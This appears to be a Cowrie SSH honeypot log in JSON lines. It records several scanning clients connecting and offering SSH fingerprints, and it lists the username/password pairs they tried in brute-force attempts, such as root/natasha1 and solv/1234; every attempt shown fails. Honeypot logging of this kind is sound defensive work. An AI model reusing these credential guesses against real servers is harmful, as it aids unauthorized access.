{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:51:03.812944Z","src_ip":"79.127.181.44","session":"3cc267eb6f95","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":12650,"dst_ip":"10.17.0.5","dst_port":22,"session":"95ec29316ecd","protocol":"ssh","message":"New connection: 2.57.121.25:12650 (10.17.0.5:22) [session: 95ec29316ecd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:51:22.418694Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:51:22.425462Z","src_ip":"2.57.121.25","session":"95ec29316ecd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:51:22.524412Z","src_ip":"2.57.121.25","session":"95ec29316ecd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"141082","message":"login attempt [user/141082] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:51:22.977188Z","src_ip":"2.57.121.25","session":"95ec29316ecd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"14091981","message":"login attempt [user/14091981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:51:24.074160Z","src_ip":"2.57.121.25","session":"95ec29316ecd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.131.188","src_port":37818,"dst_ip":"10.17.0.5","dst_port":22,"session":"9935c14ab651","protocol":"ssh","message":"New connection: 176.65.131.188:37818 (10.17.0.5:22) [session: 9935c14ab651]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:51:24.564868Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:51:24.569355Z","src_ip":"176.65.131.188","session":"9935c14ab651","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:51:24.671158Z","src_ip":"176.65.131.188","session":"9935c14ab651","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"21:fb:e5:81:62:1a:37:ff:dc:02:f3:8f:63:da:83:58","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC89tJM5kqc0kWFJJl0Eim3/DZPqINRKofP+gBTRPelKTjxyY61ZA+zPQSRIJbNH60+gfZ/ep45O6KUnN/kQuWQB4dKpBCbj9MsX0OAhbmkGZua9B778dJqkrgZ7sNV60IPRMuxLnyarUDkfRnkr/IYaz86vj6L07dJMk00gfeDcqA5C7jAmjbXvS5R7AWtPzNoZ9Yx27n/s/3NgiDnGuSHTsmIUy49sRh+6X6JFfgTpSuYuiYg1HCiX4+/sMPosWL5rnpZygXvrGeTCK2jI3ZRAtxLc0VTxwZmS+tk0RScoZm6Vh3E8t9P0qJZ4Yl1Dkg7iUwROngeA+LxqNJUgkTL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 21:fb:e5:81:62:1a:37:ff:dc:02:f3:8f:63:da:83:58","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:51:25.154222Z","src_ip":"176.65.131.188","session":"9935c14ab651","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"21:fb:e5:81:62:1a:37:ff:dc:02:f3:8f:63:da:83:58","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC89tJM5kqc0kWFJJl0Eim3/DZPqINRKofP+gBTRPelKTjxyY61ZA+zPQSRIJbNH60+gfZ/ep45O6KUnN/kQuWQB4dKpBCbj9MsX0OAhbmkGZua9B778dJqkrgZ7sNV60IPRMuxLnyarUDkfRnkr/IYaz86vj6L07dJMk00gfeDcqA5C7jAmjbXvS5R7AWtPzNoZ9Yx27n/s/3NgiDnGuSHTsmIUy49sRh+6X6JFfgTpSuYuiYg1HCiX4+/sMPosWL5rnpZygXvrGeTCK2jI3ZRAtxLc0VTxwZmS+tk0RScoZm6Vh3E8t9P0qJZ4Yl1Dkg7iUwROngeA+LxqNJUgkTL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:51:25.158116Z","src_ip":"176.65.131.188","session":"9935c14ab651","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"14091980","message":"login attempt [user/14091980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:51:25.172949Z","src_ip":"2.57.121.25","session":"95ec29316ecd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8f:37:b0:9c:63:00:24:5d:68:31:ac:68:4c:9a:9f:9f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKFHmYnTAgrrdOmJqlTp05/OetsKe95XtQtmCFtCHvSeybA6tscy6t9HJGYKWip2ma6oRTaW+Q/7PjUO2pVB52oGOOFvoPhr4L9yFv0txpPs9MnkCWrqPQT1IR92K184F3GciM9LMUKeRfOJCwxbHYH6JRQYs9tFiEHj3+335NxFI2T61kxT8Y9WBHNoxV20UANzdHM1OeojG8t8LFyGfKSr7FlCyJxq/Y3RUCKb2/ygqJ1n5VAQRT5MhfAzPGMpMM8jl1bcNPCpE36DogTC2eZnz1x9n3hjaJ4dDjeETJFTC+BAC9AJmkfX8tNAJYE0MdAiaF8Vh3xO9pXzhlixSD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8f:37:b0:9c:63:00:24:5d:68:31:ac:68:4c:9a:9f:9f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:51:25.259383Z","src_ip":"176.65.131.188","session":"9935c14ab651","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8f:37:b0:9c:63:00:24:5d:68:31:ac:68:4c:9a:9f:9f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKFHmYnTAgrrdOmJqlTp05/OetsKe95XtQtmCFtCHvSeybA6tscy6t9HJGYKWip2ma6oRTaW+Q/7PjUO2pVB52oGOOFvoPhr4L9yFv0txpPs9MnkCWrqPQT1IR92K184F3GciM9LMUKeRfOJCwxbHYH6JRQYs9tFiEHj3+335NxFI2T61kxT8Y9WBHNoxV20UANzdHM1OeojG8t8LFyGfKSr7FlCyJxq/Y3RUCKb2/ygqJ1n5VAQRT5MhfAzPGMpMM8jl1bcNPCpE36DogTC2eZnz1x9n3hjaJ4dDjeETJFTC+BAC9AJmkfX8tNAJYE0MdAiaF8Vh3xO9pXzhlixSD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:51:25.263186Z","src_ip":"176.65.131.188","session":"9935c14ab651","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"45:f4:37:65:11:c1:3f:1b:e3:de:b4:a4:63:2e:5b:52","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1GP7vyVo4MlLZxsUiyH0kl61TV8N0jrs9xck6qYk5w7XrYvntHaZKvbsj5HtqtaV+2g0+nCJEYZfTN5eXWDVthz2wtIh3wSQQ7Yha/QMP+jb94MzcTvpg4r4Gsca6pqddwc4rsrtGPoJ88qsnH5Q6YV3E95NWfyzNQtO+4UWQzAHiaJ6h+WfXY4se20C5p83w45C4HFMPJ2hKUjrRtovs/ad/W7e/YtxiL7kWbCegIjmg/9P1saeaR1DbFxeLTi0UC3zH98WXinI/RaXFqMP/Mssfwb3qPjV8sahAX/OiU+1c56zIYHSHJkR8c+vEPP/j5HdG4wy7I9rBmiSwGNFz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 45:f4:37:65:11:c1:3f:1b:e3:de:b4:a4:63:2e:5b:52","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:51:25.366001Z","src_ip":"176.65.131.188","session":"9935c14ab651","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"45:f4:37:65:11:c1:3f:1b:e3:de:b4:a4:63:2e:5b:52","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1GP7vyVo4MlLZxsUiyH0kl61TV8N0jrs9xck6qYk5w7XrYvntHaZKvbsj5HtqtaV+2g0+nCJEYZfTN5eXWDVthz2wtIh3wSQQ7Yha/QMP+jb94MzcTvpg4r4Gsca6pqddwc4rsrtGPoJ88qsnH5Q6YV3E95NWfyzNQtO+4UWQzAHiaJ6h+WfXY4se20C5p83w45C4HFMPJ2hKUjrRtovs/ad/W7e/YtxiL7kWbCegIjmg/9P1saeaR1DbFxeLTi0UC3zH98WXinI/RaXFqMP/Mssfwb3qPjV8sahAX/OiU+1c56zIYHSHJkR8c+vEPP/j5HdG4wy7I9rBmiSwGNFz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:51:25.370242Z","src_ip":"176.65.131.188","session":"9935c14ab651","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"59:f3:9a:8a:3b:32:29:5f:a3:0a:a7:e5:5f:cb:0b:58","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCoNC9NCllTeyc6JKoGWz3vS7jX1+lUfq7ulZu+h8HzrnHiNaMp5d9IKkBXx8wQVdoBaVo2zKDj+CjARQ9XOFFNbR1P8GVljOzN7ovcXFuCv3D30j4jiXrkchUSuqAfHMasiquFRIkRHWCSgWIa15nIvqqpMbqxMqakp0nitY6a4LStwdnSTRtav+BNnNnc6pCOSyer6KkwkMB3K5rzKVu7G8IZZh8t9JHnhrSUqMYEFoxyKs/dXpaky2+Wo1prtPWTwLDEPgT0NKoKYiNE82NAfrB+E0m5hUa89pUQ47jcllsJYrp3BLEkOREak8EAggru0AAGj+pAmZ4X4ICW5NI7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 59:f3:9a:8a:3b:32:29:5f:a3:0a:a7:e5:5f:cb:0b:58","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:51:25.472222Z","src_ip":"176.65.131.188","session":"9935c14ab651","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"59:f3:9a:8a:3b:32:29:5f:a3:0a:a7:e5:5f:cb:0b:58","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCoNC9NCllTeyc6JKoGWz3vS7jX1+lUfq7ulZu+h8HzrnHiNaMp5d9IKkBXx8wQVdoBaVo2zKDj+CjARQ9XOFFNbR1P8GVljOzN7ovcXFuCv3D30j4jiXrkchUSuqAfHMasiquFRIkRHWCSgWIa15nIvqqpMbqxMqakp0nitY6a4LStwdnSTRtav+BNnNnc6pCOSyer6KkwkMB3K5rzKVu7G8IZZh8t9JHnhrSUqMYEFoxyKs/dXpaky2+Wo1prtPWTwLDEPgT0NKoKYiNE82NAfrB+E0m5hUa89pUQ47jcllsJYrp3BLEkOREak8EAggru0AAGj+pAmZ4X4ICW5NI7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:51:25.476540Z","src_ip":"176.65.131.188","session":"9935c14ab651","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"83:d1:62:27:fd:70:3b:e4:46:9e:21:aa:b5:64:47:bb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC1sXkKM5pi4gb0jByaH1H7JUWlUeTs9cz8TEVuu7RRMo3IwALFn77Jh8e5p53Is8OJ7ZFsz9SO9QRPCV0I0yBHs22HuZqwXEXig/15W1I6XcJ8h9g3XEyNSNrjUAjlkdJJqof7zp5/2JzbS8Q2RshLICdt9bFWivmYKQIeRtWBbjD+Wyzd2HIwFgVCvuVo+5gQNnaz3nSPARafMbfXeTykZUWA/PVuB4yskncsFsNkF7v4dOTnQpMxtoOyFMS531w3Ymvte2cZCxKPlHnZ0E85pE753kXt5CiTxbG29j8W6GWT2lucIhFWDuyz7Wt6M6dVh3KZrXE2vdDmok/8xSEwS3LlnyVKaSzShgq8TslzPErgPUOiwRTcAAluhqcLZnWE7qlvNEqjCn6sfV8uSVp2oN4F5wwE7qZQUYKM5buv5hR000QT6PSyo1tWuVAfmpHXtC7kRtibD9pzbvxLWyVKQcHsTl0b0JlpDx0LflxCkBbWthLakeNVjzki3dUPoT87iAFrSS6hyq7Yx7w9CRenWkWoXKaYEhhL13FSVw16iaWzMZDR9rcH5+kVNvg630i0Qe4Vk5TqK9y+KhLv+QJiYKTw+xy9lpD6F1VwHAGx+LyIk4EFEbfXmQKnkGrtVCVxWXNQ/gbQAiO1fKUyhMlV98AktRMJvSCBz+pR52g4rw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 83:d1:62:27:fd:70:3b:e4:46:9e:21:aa:b5:64:47:bb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:51:25.578761Z","src_ip":"176.65.131.188","session":"9935c14ab651","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"83:d1:62:27:fd:70:3b:e4:46:9e:21:aa:b5:64:47:bb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC1sXkKM5pi4gb0jByaH1H7JUWlUeTs9cz8TEVuu7RRMo3IwALFn77Jh8e5p53Is8OJ7ZFsz9SO9QRPCV0I0yBHs22HuZqwXEXig/15W1I6XcJ8h9g3XEyNSNrjUAjlkdJJqof7zp5/2JzbS8Q2RshLICdt9bFWivmYKQIeRtWBbjD+Wyzd2HIwFgVCvuVo+5gQNnaz3nSPARafMbfXeTykZUWA/PVuB4yskncsFsNkF7v4dOTnQpMxtoOyFMS531w3Ymvte2cZCxKPlHnZ0E85pE753kXt5CiTxbG29j8W6GWT2lucIhFWDuyz7Wt6M6dVh3KZrXE2vdDmok/8xSEwS3LlnyVKaSzShgq8TslzPErgPUOiwRTcAAluhqcLZnWE7qlvNEqjCn6sfV8uSVp2oN4F5wwE7qZQUYKM5buv5hR000QT6PSyo1tWuVAfmpHXtC7kRtibD9pzbvxLWyVKQcHsTl0b0JlpDx0LflxCkBbWthLakeNVjzki3dUPoT87iAFrSS6hyq7Yx7w9CRenWkWoXKaYEhhL13FSVw16iaWzMZDR9rcH5+kVNvg630i0Qe4Vk5TqK9y+KhLv+QJiYKTw+xy9lpD6F1VwHAGx+LyIk4EFEbfXmQKnkGrtVCVxWXNQ/gbQAiO1fKUyhMlV98AktRMJvSCBz+pR52g4rw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:51:25.583623Z","src_ip":"176.65.131.188","session":"9935c14ab651","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:51:25.686588Z","src_ip":"176.65.131.188","session":"9935c14ab651","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"140788","message":"login attempt [user/140788] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:51:26.273959Z","src_ip":"2.57.121.25","session":"95ec29316ecd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"140787","message":"login attempt [user/140787] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:51:27.372064Z","src_ip":"2.57.121.25","session":"95ec29316ecd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:51:28.470038Z","src_ip":"2.57.121.25","session":"95ec29316ecd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":46280,"dst_ip":"10.17.0.5","dst_port":22,"session":"25623c252e43","protocol":"ssh","message":"New connection: 80.66.85.226:46280 (10.17.0.5:22) [session: 25623c252e43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:51:47.434697Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:51:47.438922Z","src_ip":"80.66.85.226","session":"25623c252e43","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:51:47.527789Z","src_ip":"80.66.85.226","session":"25623c252e43","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"natasha1","message":"login attempt [root/natasha1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:51:47.794657Z","src_ip":"80.66.85.226","session":"25623c252e43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:51:48.887322Z","src_ip":"80.66.85.226","session":"25623c252e43","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":32900,"dst_ip":"159.203.135.109","dst_port":22,"session":"776e9d810a5d","protocol":"ssh","message":"New connection: 2.57.122.238:32900 (159.203.135.109:22) [session: 776e9d810a5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:51:59.077166Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:51:59.082265Z","src_ip":"2.57.122.238","session":"776e9d810a5d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:51:59.187375Z","src_ip":"2.57.122.238","session":"776e9d810a5d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"1234","message":"login attempt [solv/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:51:59.491023Z","src_ip":"2.57.122.238","session":"776e9d810a5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:52:00.595130Z","src_ip":"2.57.122.238","session":"776e9d810a5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":47500,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e7b1793cb89","protocol":"ssh","message":"New connection: 87.251.64.176:47500 (10.17.0.5:22) [session: 6e7b1793cb89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:52:07.949967Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:52:07.954158Z","src_ip":"87.251.64.176","session":"6e7b1793cb89","protocol":"ssh"}
